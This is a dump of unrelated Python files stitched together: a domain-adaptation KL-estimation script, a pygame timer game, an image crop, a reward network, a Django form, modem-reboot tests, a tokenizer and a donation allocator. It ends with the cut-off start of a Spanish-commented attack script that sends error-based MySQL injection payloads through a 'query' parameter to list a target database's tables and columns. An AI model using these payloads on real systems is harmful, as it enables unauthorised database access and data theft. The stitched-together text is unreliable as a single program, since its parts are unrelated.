#!/usr/bin/env python
# coding: utf-8

# In[1]:

import torch
import torchvision
import torchvision.datasets as datasets
from tqdm import tqdm
import argparse
from torch.utils.data import Dataset, DataLoader
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import numpy as np
import matplotlib.pyplot as plt
import torch.backends.cudnn as cudnn
import os
import sys
import logging
import logging.handlers
from PIL import Image

# # Parser

# In[99]:

parser = argparse.ArgumentParser(description='Domain adaptation')
parser.add_argument("--batch_size", type=int, default="400", help="batch size")
parser.add_argument("--learning_rate", type=float, default=1e-3, help="learning rate")
parser.add_argument("--momentum", type=float, default=0.5, help="momentum")
parser.add_argument("--gpu_num", type=int, default=0, help="gpu num")
parser.add_argument("--seed", type=int, default=123, help="munually set seed")
parser.add_argument("--save_path", type=str, default="../train_related", help="save path")
parser.add_argument("--subfolder", type=str, default='test', help="subfolder name")
parser.add_argument("--wtarget", type=float, default=0.7, help="target weight")
parser.add_argument("--model_save_period", type=int, default=2, help="save period")
parser.add_argument("--epochs", type=int, default=2000, help="label shuffling")
parser.add_argument("--dann_weight", type=float, default=1, help="weight for label shuffling")
parser.add_argument("--start_shuffle_dann", type=int, default=100, help="when to start shuffling")
parser.add_argument("--is_shuffle", type=int, default=1, help="no shuffle if 0")
parser.add_argument('--model_path', type=str, help='where the data is stored')
parser.add_argument('--intervals', type=int, default=2, help='freq of compute f-div')
parser.add_argument('--model_name', type=str, required=True)
parser.add_argument('--gfunction_epoch', type=int, default=5000, help='epoch of which gfunction is trained for')
parser.add_argument('--KL', type=bool, default=False, help="if calculate KL divergence")
parser.add_argument('--JS', type=bool, default=False, help="if calculate JS divergence")
parser.add_argument('--lr', type=float, default=1e-3, help='learning rate')
parser.add_argument('--classifier_epoch', type=int, default=10000, help='max iteration to train classifier')
parser.add_argument('--classifier', type=bool, default=True, help="if optmizer classifier")

args = parser.parse_args()
# snap shot of py file and command
python_file_name = sys.argv[0]

# # local only

# In[97]:

# # local only
# class local_args:
#     def __init__(self, **entries):
#         self.__dict__.update(entries)

# args = local_args(**{
#     'batch_size': 400,
#     'learning_rate': 1e-3,
#     'momentum': 0.5,
#     'gpu_num': 0,
#     'seed': 123,
#     'save_path': "../train_related",
#     'epochs': 2,
#     'subfolder': "test",
#     'wtarget': 0.7,
#     'dann_weight': 1,
#     'model_save_period': 2,
#     'start_shuffle_dann': 1,
#     'is_shuffle': 1,
#     'KL': True,
#     'model_path': '/home/tianqinl/Code/PGM-project/train_related/domain_shuffle_svhn_to_mnist/shuffle_weight_1.000000_learningrate_0.001000_startsepoch_30',
#     'classifier': True,
#     'intervals': 100,
#     'lr': 1e-3,
#     'JS': False,
#     'gfunction_epoch': 5,
#     'classifier_epoch': 100,
#     'sclass': 0.7
# })

# In[21]:

device = torch.device('cuda:{}'.format(args.gpu_num) if torch.cuda.is_available() else 'cpu')
# seed
torch.manual_seed(args.seed)
torch.cuda.manual_seed(args.seed)
np.random.seed(args.seed)
cudnn.deterministic = True
torch.backends.cudnn.deterministic = True

device = torch.device('cuda:{}'.format(args.gpu_num) if torch.cuda.is_available() else 'cpu')
print(device)

model_sub_folder = args.subfolder + '/interval_%i'%(args.intervals)
save_folder = os.path.join(args.save_path, model_sub_folder)
if not os.path.exists(save_folder):
    os.makedirs(save_folder)

# In[22]:

logger = logging.getLogger()
logger.setLevel(logging.INFO)
logfile_path = os.path.join(save_folder, 'logfile.log')
if os.path.isfile(logfile_path):
    os.remove(logfile_path)

file_log_handler = logging.FileHandler(logfile_path)
logger.addHandler(file_log_handler)

stdout_log_handler = logging.StreamHandler(sys.stdout)
logger.addHandler(stdout_log_handler)
logger.info("Fixed source testing bug")
attrs = vars(args)
for item in attrs.items():
    logger.info("%s: %s"%item)
logger.info("Training Save Path: {}".format(save_folder))

# # Data loader

# In[7]:

mnist_trainset = datasets.MNIST(root='../data', train=True, download=True, transform=torchvision.transforms.Compose([
                               torchvision.transforms.ToTensor(),
                               torchvision.transforms.Normalize(
                                 (0.1307,), (0.3081,))
                             ]))

# In[8]:

mnist_testset = datasets.MNIST(root='../data', train=False, download=True, transform=torchvision.transforms.Compose([
                               torchvision.transforms.ToTensor(),
                               torchvision.transforms.Normalize(
                                 (0.1307,), (0.3081,))
                             ]))

# In[9]:

svhn_trainset = datasets.SVHN(root='../data', split='train', download=True, transform=torchvision.transforms.Compose([
                    torchvision.transforms.Resize((28, 28)),
                    torchvision.transforms.Grayscale(num_output_channels=1),
                    torchvision.transforms.ToTensor(),
                    torchvision.transforms.Normalize([0.5], [0.5])]))

# In[10]:

svhn_testset = datasets.SVHN(root='../data', split='test', download=True, transform=torchvision.transforms.Compose([
                    torchvision.transforms.Resize((28, 28)),
                    torchvision.transforms.Grayscale(num_output_channels=1),
                    torchvision.transforms.ToTensor(),
                    torchvision.transforms.Normalize([0.5], [0.5])]))

# In[23]:

# reload data
train_mnist_loader = DataLoader(mnist_trainset, batch_size=args.batch_size, shuffle=True)
test_mnist_loader = DataLoader(mnist_testset, batch_size=args.batch_size, shuffle=True)
train_svhn_loader = DataLoader(svhn_trainset, batch_size=args.batch_size, shuffle=True)
test_svhn_loader = DataLoader(svhn_testset, batch_size=args.batch_size, shuffle=True)

# ## Process data for cancat with source and target label

# In[24]:

class ConcatDataset(Dataset):
    def __init__(self, x, y, mode='mnist'):
        self.x = x
        self.y = y
        self.len = self.x.shape[0]
        self.mode = mode
        if self.mode == 'mnist':
            self.transform = torchvision.transforms.Compose([
                               torchvision.transforms.ToTensor(),
                               torchvision.transforms.Normalize(
                                 (0.1307,), (0.3081,))
                             ])
        elif self.mode == 'svhn':
            self.transform = torchvision.transforms.Compose([
                    torchvision.transforms.Resize((28, 28)),
                    torchvision.transforms.Grayscale(num_output_channels=1),
                    torchvision.transforms.ToTensor(),
                    torchvision.transforms.Normalize([0.5], [0.5])])

    def __len__(self):
        return self.len

    def __getitem__(self, index):
        if self.mode == 'mnist':
            img = Image.fromarray(self.x[index].numpy(), mode='L')
            img = self.transform(img)
        elif self.mode == 'svhn':
            img = Image.fromarray(np.transpose(self.x[index], (1, 2, 0)))
            img = self.transform(img)

        return img, self.y[index]

# # Model

# In[25]:

class Encoder(nn.Module):
    def __init__(self):
        super(Encoder, self).__init__()
        self.conv1 = nn.Conv2d(1, 10, kernel_size=5)
        self.conv2 = nn.Conv2d(10, 20, kernel_size=5)
        self.conv2_drop = nn.Dropout2d()
        self.fc1 = nn.Linear(320, 50)
        self.fc2 = nn.Linear(50, 30)

    def forward(self, x):
        x = F.relu(F.max_pool2d(self.conv1(x), 2))
        x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))
        x = x.view(-1, 320)
        x = F.relu(self.fc1(x))
        x = F.dropout(x, training=self.training)
        x = self.fc2(x)
        return x

# In[26]:

class FNN(nn.Module):
    def __init__(self, d_in, d_h1, d_h2, d_out, dp=0.2):
        super(FNN, self).__init__()
        self.fc1 = nn.Linear(d_in, d_h1)
        self.ln1 = nn.LayerNorm(d_h1)
        self.relu1 = nn.ReLU(inplace=True)
        self.dropout1 = nn.Dropout(dp)
        self.fc2 = nn.Linear(d_h1, d_h2)
        self.ln2 = nn.LayerNorm(d_h2)
        self.relu2 = nn.ReLU(inplace=True)
        self.dropout2 = nn.Dropout(dp)
        self.fc3 = nn.Linear(d_h2, d_out)

    def forward(self, x):
        x = self.fc1(x)
        x = self.ln1(x)
        x = self.relu1(x)
        x = self.dropout1(x)
        x = self.fc2(x)
        x = self.ln2(x)
        x = self.relu2(x)
        x = self.dropout2(x)
        x = self.fc3(x)
        return x

    def before_lastlinear(self, x):
        x = self.fc1(x)
        x = self.ln1(x)
        x = self.relu1(x)
        x = self.dropout1(x)
        x = self.fc2(x)
        x = self.ln2(x)
        x = self.relu2(x)
        x = self.dropout2(x)
        return x

# In[27]:

class Adversial_loss(nn.Module):
    def __init__(self):
        super(Adversial_loss, self).__init__()

    def forward(self):
        pass

# In[28]:

def weights_init(m):
    if type(m) == nn.Linear:
        torch.nn.init.xavier_uniform_(m.weight)
    elif type(m) == nn.LayerNorm:
        torch.nn.init.normal_(m.weight, 1.0, 0.02)
        torch.nn.init.constant_(m.bias, 0)

# In[91]:

device = torch.device('cuda:{}'.format(args.gpu_num) if torch.cuda.is_available() else 'cpu')
print(device)
torch.manual_seed(args.seed)
torch.cuda.manual_seed(args.seed)
np.random.seed(args.seed)

encoder = Encoder().to(device)
CNet = FNN(d_in=30, d_h1=100, d_h2=100, d_out=10, dp=0.2).to(device)
DomainCNet = FNN(d_in=30, d_h1=1000, d_h2=100, d_out=2, dp=0.2).to(device)

optimizerEncoder = optim.Adam(encoder.parameters(), lr=args.learning_rate)
optimizerCNet = optim.Adam(CNet.parameters(), lr=args.learning_rate)
optimizerDomainCNet = optim.Adam(DomainCNet.parameters(), lr=args.learning_rate)

criterion_classifier = nn.CrossEntropyLoss().to(device)
# criterion_adverisal =

encoder.apply(weights_init)
CNet.apply(weights_init)
DomainCNet.apply(weights_init)

# # Model Evaluation

# In[68]:

class Gfunction(nn.Sequential):
    def __init__(self):
        super(Gfunction, self).__init__(
            nn.Linear(30,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,100),
            nn.ELU(),
            nn.Linear(100,1)
        )

# In[69]:

def log_mean_exp(x, device):
    max_score = x.max()
    batch_size = torch.Tensor([x.shape[0]]).to(device)
    stable_x = x - max_score
    return max_score - batch_size.log() + stable_x.exp().sum(dim=0).log()

a = torch.rand([100,1]).to(device)
assert torch.all(log_mean_exp(a, device) - a.exp().mean(dim=0).log() < 1e-6)

# In[70]:

def KLDiv(g_x_source, g_x_target, device):
    # clipping
#     g_x_source = torch.clamp(g_x_source, -1e3, 1e3)
#     g_x_target = torch.clamp(g_x_target, -1e3, 1e3)
    return g_x_source.mean(dim=0) - log_mean_exp(g_x_target, device)

# In[71]:

if args.KL:
    gfunction_KL_div_labeled = Gfunction().to(device)
    gfunction_KL_div_unlabeled = Gfunction().to(device)

# # Estimate KL

# In[98]:

logger.info('Started loading')
total_epoch_trained = len([i for i in os.listdir(args.model_path) if i[0] == 'C'])

labeled_KL = []
unlabeled_KL = []
labeled_JS = []
unlabeled_JS = []
acc_source_unlabeled_classifier_ = []
acc_target_unlabeled_classifier_ = []

source_test_acc_ = []
target_test_acc_ = []
source_train_acc_ = []
epochs = []

for epoch in range(3, total_epoch_trained, args.intervals*args.model_save_period):
    epochs.append(epoch)
    # initialize
    if args.KL:
        gfunction_KL_div_labeled.apply(weights_init)
        optimizer_gfunction_KL_div_labeled = torch.optim.Adam(gfunction_KL_div_labeled.parameters(), lr=args.lr)
        gfunction_KL_div_unlabeled.apply(weights_init)
        optimizer_gfunction_KL_div_unlabeled = torch.optim.Adam(gfunction_KL_div_unlabeled.parameters(), lr=args.lr)

    if args.JS:
        gfunction_JS_div_labeled.apply(weights_init)
        optimizer_gfunction_JS_div_labeled = torch.optim.Adam(gfunction_JS_div_labeled.parameters(), lr=args.lr)
        gfunction_JS_div_unlabeled.apply(weights_init)
        optimizer_gfunction_JS_div_unlabeled = torch.optim.Adam(gfunction_JS_div_unlabeled.parameters(), lr=args.lr)

    if args.classifier:
        CNet.load_state_dict(torch.load(os.path.join(args.model_path, 'CNet_%i.t7'%epoch)))
        optimizer_CNet = torch.optim.Adam(CNet.parameters(), lr=args.lr)

    # load weight
    encoder.load_state_dict(torch.load(os.path.join(args.model_path, 'encoder_%i.t7'%epoch)))

    # inferencing
    encoder.eval()

    # get source/target embedding
    source_x_labeled_embedding = torch.empty(0).to(device)
    source_y_labeled = torch.empty(0).long().to(device)
    source_x_unlabeled_embedding = torch.empty(0).to(device)
    source_y_unlabeled = torch.empty(0).long().to(device)
    target_x_labeled_embedding = torch.empty(0).to(device)
    target_y_labeled = torch.empty(0).long().to(device)
    target_x_unlabeled_embedding = torch.empty(0).to(device)
    target_y_unlabeled = torch.empty(0).long().to(device)
    with torch.no_grad():

        source_train_acc = 0.0
        num_data = 0.0
        for batch_id, (source_x, source_y) in tqdm(enumerate(train_svhn_loader), total=len(train_svhn_loader)):
            source_x = source_x.to(device).float()
            source_y = source_y.to(device).long()
            num_data += source_y.shape[0]
            source_x_embedding = encoder(source_x).detach()
            source_x_labeled_embedding = torch.cat([source_x_labeled_embedding, source_x_embedding])
            source_y_labeled = torch.cat([source_y_labeled, source_y])
            pred = CNet(source_x_embedding)
            source_train_acc += (pred.argmax(-1) == source_y).sum().item()
        source_train_acc = source_train_acc / num_data
        source_train_acc_.append(source_train_acc)

        source_test_acc = 0.0
        num_data = 0.0
        for batch_id, (source_x, source_y) in tqdm(enumerate(test_svhn_loader), total=len(test_svhn_loader)):
            source_x = source_x.to(device).float()
            source_y = source_y.to(device).long()
            num_data += source_y.shape[0]
            source_x_embedding = encoder(source_x).detach()
            source_x_unlabeled_embedding = torch.cat([source_x_unlabeled_embedding, source_x_embedding])
            source_y_unlabeled = torch.cat([source_y_unlabeled, source_y])
            pred = CNet(source_x_embedding)
            source_test_acc += (pred.argmax(-1) == source_y).sum().item()
        source_test_acc = source_test_acc / num_data
        source_test_acc_.append(source_test_acc)

        target_test_acc = 0.0
        num_data = 0.0
        for batch_id, (target_x, target_y) in tqdm(enumerate(test_mnist_loader), total=len(test_mnist_loader)):
            target_x = target_x.to(device).float()
            target_y = target_y.to(device).long()
            num_data += target_y.shape[0]
            fake_x_embedding = encoder(target_x).detach()
            target_x_unlabeled_embedding = torch.cat([target_x_unlabeled_embedding, fake_x_embedding])
            target_y_unlabeled = torch.cat([target_y_unlabeled, target_y])
            pred = CNet(fake_x_embedding)
            target_test_acc += (pred.argmax(-1) == target_y).sum().item()
        target_test_acc = target_test_acc / num_data
        target_test_acc_.append(target_test_acc)

    # for loop to train the gfunction
    for i in tqdm(range(args.gfunction_epoch)):
        if args.KL:
            optimizer_gfunction_KL_div_unlabeled.zero_grad()
            source_x_unlabeled_g = gfunction_KL_div_unlabeled(source_x_unlabeled_embedding)
            target_x_unlabeled_g = gfunction_KL_div_unlabeled(target_x_unlabeled_embedding)
            loss_KL_unlabeled = - KLDiv(source_x_unlabeled_g, target_x_unlabeled_g, device) # maximize
            loss_KL_unlabeled.backward()
            optimizer_gfunction_KL_div_unlabeled.step()

            if i % 500 == 0:
                print("Epoch %i, Iter %i, unlabeled KL: %f"%(epoch, i, -loss_KL_unlabeled.item()))

#         if args.JS:
#             optimizer_gfunction_JS_div_unlabeled.zero_grad()
#             source_x_unlabeled_g = gfunction_JS_div_unlabeled(source_x_unlabeled_embedding)
#             target_x_unlabeled_g = gfunction_JS_div_unlabeled(target_x_unlabeled_embedding)
#             loss_JS_unlabeled = - JSDiv(source_x_unlabeled_g, target_x_unlabeled_g, device) # maximize
#             loss_JS_unlabeled.backward()
#             optimizer_gfunction_JS_div_unlabeled.step()
#             if i % 500 == 0:
#                 print("Epoch %i, Iter %i, unlabeled JS: %f"%(epoch, i, -loss_JS_unlabeled.item()))
    if args.KL:
        loss_KL_unlabeled = - loss_KL_unlabeled.item()
        unlabeled_KL.append(loss_KL_unlabeled)

#     if args.JS:
#         loss_JS_unlabeled = - loss_JS_unlabeled.item()
#         unlabeled_JS.append(loss_JS_unlabeled)

    acc_source_labeled_classifier = 0
    acc_target_labeled_classifier = 0
    if args.classifier:
#         while i < args.classifier_epoch or (acc_source_labeled_classifier < 0.98 and acc_target_labeled_classifier < 0.98):
#             i += 1

        for i in tqdm(range(args.classifier_epoch)):
            CNet.train()
            optimizer_CNet.zero_grad()
            pred = CNet(source_x_labeled_embedding)
            acc_source_labeled_classifier = (pred.argmax(-1) == source_y_labeled).sum().item() / pred.size(0)
            loss_source_classifier_labeled = criterion_classifier(pred, source_y_labeled)
            loss_source_classifier_labeled.backward()
            optimizer_CNet.step()
#             CNet.train()
#             encoder.train()
#             acc_source_labeled_classifier = 0.0
#             num_datas = 0.0
#             for batch_id, (source_x, source_y) in tqdm(enumerate(train_svhn_loader), total=len(train_svhn_loader)):
#                 optimizerCNet.zero_grad()
#                 optimizerEncoder.zero_grad()
#                 source_x = source_x.to(device).float()
#                 source_y = source_y.to(device)
#                 num_datas += source_x.size(0)
#                 source_x_embedding = encoder(source_x)
#                 pred = CNet(source_x_embedding)
# #                 acc_source_labeled_classifier += (pred.argmax(-1) == source_y).sum().item()
#                 loss_source_classifier_labeled = criterion_classifier(pred, source_y)
#                 loss_source_classifier_labeled.backward()
#                 optimizerCNet.step()

#             if i % 500 == 0:
#                 CNet.eval()
#                 pred = CNet(source_x_unlabeled_embedding)
#                 acc_source_unlabeled_classifier = (pred.argmax(-1) == source_y_unlabeled).sum().item() / pred.size(0)
#                 pred = CNet(target_x_unlabeled_embedding)
#                 acc_target_unlabeled_classifier = (pred.argmax(-1) == target_y_unlabeled).sum().item() / pred.size(0)
#                 print("Iter %i: source acc: labeled: %f, unlabeled: %f; target acc: labeled: %f, unlabeled: %f"%(
#                     i, acc_source_labeled_classifier, acc_source_unlabeled_classifier, acc_target_labeled_classifier, acc_target_unlabeled_classifier))

        CNet.eval()
        pred = CNet(source_x_unlabeled_embedding)
        acc_source_unlabeled_classifier = (pred.argmax(-1) == source_y_unlabeled).sum().item() / pred.size(0)
        pred = CNet(target_x_unlabeled_embedding)
        acc_target_unlabeled_classifier = (pred.argmax(-1) == target_y_unlabeled).sum().item() / pred.size(0)
        acc_source_unlabeled_classifier_.append(acc_source_unlabeled_classifier)
        acc_target_unlabeled_classifier_.append(acc_target_unlabeled_classifier)

    logger.info("-----------------------------------------")
    log_string = "Epoch %i: "%epoch
    if args.KL: log_string += "testing KL: %f; "%(loss_KL_unlabeled)
    if args.JS: log_string += "testing JS: %f; "%(loss_JS_unlabeled)
    if args.classifier: log_string += "src unlbl acc: %f, tgt unlbl acc: %f; "%(acc_source_unlabeled_classifier, acc_target_unlabeled_classifier)
    logger.info(log_string)
    logger.info("-----------------------------------------")

    np.save(args.save_path+'/' +model_sub_folder+'/epochs.npy', epochs)
    np.save(args.save_path+'/' +model_sub_folder+'/source_test_acc_.npy', source_test_acc_)
    np.save(args.save_path+'/' +model_sub_folder+'/targhet_test_acc_.npy', target_test_acc_)

    if args.KL:
        np.save(args.save_path+'/' +model_sub_folder+'/labeled_KL.npy', labeled_KL)
        np.save(args.save_path+'/' +model_sub_folder+'/unlabeled_KL.npy', unlabeled_KL)

    if args.JS:
        np.save(args.save_path+'/' +model_sub_folder+'/labeled_JS.npy', labeled_JS)
        np.save(args.save_path+'/' +model_sub_folder+'/unlabeled_JS.npy', unlabeled_JS)

    if args.classifier:
        np.save(args.save_path+'/' +model_sub_folder+'/acc_source_unlabeled_classifier_.npy', acc_source_unlabeled_classifier_)
        np.save(args.save_path+ '/' +model_sub_folder+'/acc_target_unlabeled_classifier_.npy', acc_target_unlabeled_classifier_)


import pygame, sys
from settings import *
from pygame.locals import *
from class_personaje import *

from nivel import *
from modo import *
from animaciones import *

from nivel_uno import *
from nivel_dos import *
from Interfaz.GUI_form_prueba import *

import sqlite3

with sqlite3.connect("Mi_base_datos.db") as conexion:
    try:
        # # Crear tabla
        # sentencia = '''
        #     create table Empleados
        #     (
        #         id integer primary key autoincrement,
        #         nombre text,
        #         apellido text,
        #         sueldo real
        #     )
        # '''
        # conexion.execute(sentencia)

        # Insertar datos
        # sentencia = '''
        #     insert into Empleados(nombre, apellido, sueld) values(?,?,?), ("Maria","Paz",3000)
        # '''
        # conexion.execute(sentencia)

        conexion.execute("insert into Empleados(nombre, apellido, sueld) values(?,?,?)", ("Maria","Paz",3000))

        conexion.commit()  # Aplicar los cambios
        print("Tabla creada y datos insertados correctamente")
    except Exception as e:
        print("Error:", str(e))

# Funciones

W, H = 1400, 900
TAMAÑO_PANTALLA = (W, H)
pantalla = pygame.display.set_mode((W, H))
FPS = 18
velocidad_personaje = 10
velocidad_enemigo = 8

form_prueba = FormPrueba(pantalla, 0, 0, W, H, "gold", "BLACK", 5, True)

pygame.init()

RELOJ = pygame.time.Clock()
PANTALLA = pygame.display.set_mode(TAMAÑO_PANTALLA)

# Cronometro
tiempo_inicial = 80
tiempo_restante = tiempo_inicial
fuente = pygame.font.SysFont(None, 138)
color_texto = ("black")
pos_texto = (W // 2, H - 550)

def abrir_menu(lista_eventos):
    form_prueba.update(lista_eventos)

while tiempo_restante > 0:

    RELOJ.tick(FPS)
    texto = fuente.render(str(int(tiempo_restante)), True, color_texto)
    texto_rect = texto.get_rect(center=pos_texto)
    PANTALLA.blit(texto, texto_rect)

    lista_eventos = pygame.event.get()
    for evento in lista_eventos:
        if evento.type == pygame.QUIT:
            pygame.quit()
            sys.exit(0)

    abrir_menu(lista_eventos)
    pygame.display.update()

    #Cronometro
    tiempo_restante -= RELOJ.get_time() / 1000  # Restar el tiempo transcurrido en cada iteración

print("¡Tiempo agotado!")


from PIL import Image
filename = "assets/building.jpg"
with Image.open(filename) as img:
    img.load()

    img.rotate(90)
    img.show()

    cropped_img = img.crop((150, 150, 700, 700))
    cropped_img.save("assets/cropped_image.jpg")
    print('File create!')


from baselines.common.mpi_running_mean_std import RunningMeanStd
import baselines.common.tf_util as U
import tensorflow as tf
import gym
import numpy as np

class MlpRewardFun(object):
    def __init__(self, name, *args, **kwargs):
        with tf.variable_scope(name):
            self._init(*args, **kwargs)
            self.scope = tf.get_variable_scope().name

    def _init(self, ob_space, ac_space, hid_size, num_hid_layers, use_actions):
        assert isinstance(ob_space, gym.spaces.Box)
        self.use_actions = use_actions
        sequence_length = None

        if use_actions:
            inp_shape = (ob_space.shape[0] + ac_space.shape[0],)
        else:
            inp_shape = ob_space.shape
        rew_input = U.get_placeholder(name="rew_input", dtype=tf.float32, shape=[sequence_length] + list(inp_shape))

        with tf.variable_scope("inputfilter"):
            self.inp_rms = RunningMeanStd(shape=inp_shape)

        with tf.variable_scope('rew'):
            input_clipped = tf.clip_by_value((rew_input - self.inp_rms.mean) / self.inp_rms.std, -5.0, 5.0)
            last_out = input_clipped
            for i in range(num_hid_layers):
                last_out = tf.nn.tanh(tf.layers.dense(last_out, hid_size, name="fc%i"%(i+1), kernel_initializer=U.normc_initializer(1.0)))
            self.reward = tf.layers.dense(last_out, 1, name='final', kernel_initializer=U.normc_initializer(1.0))[:,0]

        self._rew = U.function([rew_input], [self.reward])

    def getReward(self, ob, ac):
        if self.use_actions:
            rew = self._rew(np.hstack((ob,ac))[None])
        else:
            rew = self._rew(ob[None])
        return rew

    def get_variables(self):
        return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.scope)
    def get_trainable_variables(self):
        return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope)
    def get_initial_state(self):
        return []


from django import forms
from django.db.models.base import Model
from .models import *
from django.forms import ModelForm

CONTINENTS = (
    ('',''),
    ('Asia','Asia'),
    ('Africa', 'Africa'),
    ('Europe','Europe'),
    ('North America','North America'),
    ('South America','South America'),
    ('Australia/Oceania','Australia/Oceania'),
    ('Antarctica','Antarctica'),
)

INCOME_LEVELS = (
    ('',''),
    ('0 to 10k','0 to 10k'),
    ('10k to 20k', '10k to 20k'),
    ('20k to 40k','20k to 40k'),
    ('40k to 60k','40k to 60k'),
    ('60k to 80k','60k to 80k'),
    ('80k to 100k','80k to 100k'),
    ('Over 150k','Over 150k'),
)

class ProfileForm(ModelForm):
  class Meta:
    model = Profile
    exclude = ['user']


from datetime import datetime, timedelta
from unittest.mock import MagicMock, patch

import ubiquiti_monitor.modem as sut

@patch("ubiquiti_monitor.modem.reboot_via_smart_plug")
def test_reboot_works(reboot_mock):
    sut.reboot("asdf")
    assert reboot_mock.called

@patch("ubiquiti_monitor.modem.reboot_via_telnet")
def test_reboot_works_with_telnet(reboot_mock):
    sut.reboot("eth0")
    assert reboot_mock.called

@patch("ubiquiti_monitor.modem.reboot_plug")
@patch("ubiquiti_monitor.modem.find_plug")
def test_reboot_via_smart_plug_works(find_mock, reboot_mock):
    plug = MagicMock()
    plug.on_since = datetime.now() - timedelta(seconds=181)
    find_mock.return_value = plug
    sut.reboot_via_smart_plug("asdf")
    find_mock.assert_called_with("asdf")
    assert reboot_mock.called

@patch("sys.exit")
@patch("ubiquiti_monitor.modem.find_plug")
def test_reboot_via_smart_plug_works_when_plug_not_found(find_mock, exit_mock):
    find_mock.return_value = None
    sut.reboot_via_smart_plug("asdf")
    find_mock.assert_called_with("asdf")
    assert exit_mock.called

def test_should_reboot_plug_works():
    plug = MagicMock()
    plug.on_since = datetime.now() - timedelta(seconds=1)
    assert not sut.should_reboot_plug(plug)

def test_should_reboot_plug_returns_true_when_not_rebooted_in_last_3_minutes():
    plug = MagicMock()
    plug.on_since = datetime.now() - timedelta(seconds=181)
    assert sut.should_reboot_plug(plug)

def test_should_reboot_plug_handles_works_when_on_since_is_None():
    plug = MagicMock()
    plug.on_since = None
    assert sut.should_reboot_plug(plug)

@patch("ubiquiti_monitor.modem.execute_shell")
def test_reboot_via_telnet(exec_mock):
    sut.reboot_via_telnet("eth0")
    exec_mock.assert_called_with(
        f"scripts/uptime.sh 192.168.102.1"
    )

@patch("ubiquiti_monitor.modem.execute_shell")
def test_should_reboot_via_telnet(exec_mock):
    exec_mock.return_value = "181.25"
    result = sut.should_reboot_via_telnet("eth0")
    assert exec_mock.called
    assert result

def test_get_max_time_in_seconds():
    assert sut.get_max_time_in_seconds() == 180


# -*- coding: utf-8 -*-
"""
Created on Fri Apr 29 12:00:39 2016

@author: jmzhao
"""

import re
import gensim as g

PAT_ALPHABETIC = re.compile('(((?![\d])\w)+)', re.UNICODE)
PAT_WORD = re.compile("(((?![\d])[\w'])+)", re.UNICODE)

def tokenize(text, to_lower=False, deacc=False, errors="strict"):
    """
    Iteratively yield tokens as unicode strings, removing accent marks
    and optionally lowercasing the unidoce string by assigning True
    to to_lower.

    Note
    ==========
    This is adapted from gensim.utils.tokenize
    """
    lowercase = to_lower
    text = g.utils.to_unicode(text, errors=errors)
    if lowercase:
        text = text.lower()
    if deacc:
        text = g.utils.deaccent(text)
    for match in PAT_WORD.finditer(text):
        yield match.group()

def read_stoplist(fname) :
    """
    Read stop words from a text file, and ignore comments after '#'.

    The file contains a stop word per line.
    """
    stoplist = open(fname).read().split()
    stoplist = filter(lambda line : len(line.strip())>0 and line.strip()[0] != '#', stoplist)
    stoplist = map(lambda line : line.split('#')[0].strip(), stoplist)
    return set(stoplist)

def simple_process(documents, stoplist,
                   tokenizer=lambda doc : g.utils.tokenize(doc, to_lower=True),
                   stemmer=g.parsing.PorterStemmer()) :
    texts = [[stemmer.stem(word) for word in tokenizer(document) if word not in stoplist]
             for document in documents]
    texts = [[word for word in text if word not in stoplist]
             for text in texts]
    return texts

def remove_infrequent(texts, n_times) :
    """
    remove words that appear fewer than n_times.
    """
    from collections import defaultdict
    frequency = defaultdict(int)
    for text in texts:
        for token in text:
            frequency[token] += 1

    texts = [[token for token in text if frequency[token] > n_times]
             for text in texts]
    return texts

if __name__ == '__main__' :
    pass


from datetime import datetime

from app.models.base import DonationCharityBase

def investment(
    target: DonationCharityBase,
    sources: list[DonationCharityBase]
) -> list[DonationCharityBase]:
    changed: list = []
    for source in sources:
        invested = min(
            target.full_amount - target.invested_amount,
            source.full_amount - source.invested_amount
        )
        for object in (target, source):
            object.invested_amount += invested
            if object.full_amount == object.invested_amount:
                object.close_date = datetime.now()
                object.fully_invested = True
        changed.append(source)
        if target.full_amount == target.invested_amount:
            break
    return changed


#!/usr/bin/python3

import requests
import string
import signal
import time
import sys
import re
from pwn import *

class Color:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    WHITE = '\033[97m'
    RED = '\033[91m'
    END = '\033[0m'

# Ctrl + C
def def_handler(sig, frame):
    print(Color.RED + "\n✘ Interrupción, saliendo...\n" + Color.END)
    exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) == 1:
    print(Color.BLUE + "\n[!] Usage: python3 " + sys.argv[0] + " <database>\n" + Color.END)
    exit(0)

def extract_tables(db_name):
    result = ""
    db_name_hex = db_name.encode('utf-8').hex()

    # Por si existe 100 tablas
    for table_position in range(0,100):
        payload = "(SELECT 8350 FROM(SELECT COUNT(*),CONCAT(0x5441424C45,(SELECT MID((IFNULL(CAST(table_name AS NCHAR),0x20)),1,50) FROM "
        payload += "INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x%s) LIMIT %d,1),0x5441424C45,FLOOR(RAND(0)*2))x " % (db_name_hex, table_position)
        payload += "FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)nada)"

        data_get = {"query" : "1 or " + payload}
        p2.status(Color.BLUE + data_get["query"] + Color.END)
        r = session.get(url, params=data_get)

        if "Duplicate" not in r.text:
            break

        p3 = log.progress(Color.BLUE + "Tabla [%d]" % (table_position) + Color.END)

        result += re.findall(r'E(.*?)T', r.text)[0]
        p3.success(Color.WHITE + result + Color.END)
        result = ""

    print(Color.BLUE + "\nAhora puedes agregar alguna de las tablas como parametro para listar sus columnas\n" + Color.END)

def extract_columns(db_name, table_name):
    result = ""

    db_name_hex = db_name.encode('utf-8').hex()
    table_name_hex = table_name.encode('utf-8').hex()

    # Por si existen 100 columnas
    for col_position in range(0,100):
        payload = "(SELECT 8350 FROM(SELECT COUNT(*),CONCAT(0x5441424C45,(SELECT MID((IFNULL(CAST(column_name AS NCHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.COLUMNS "
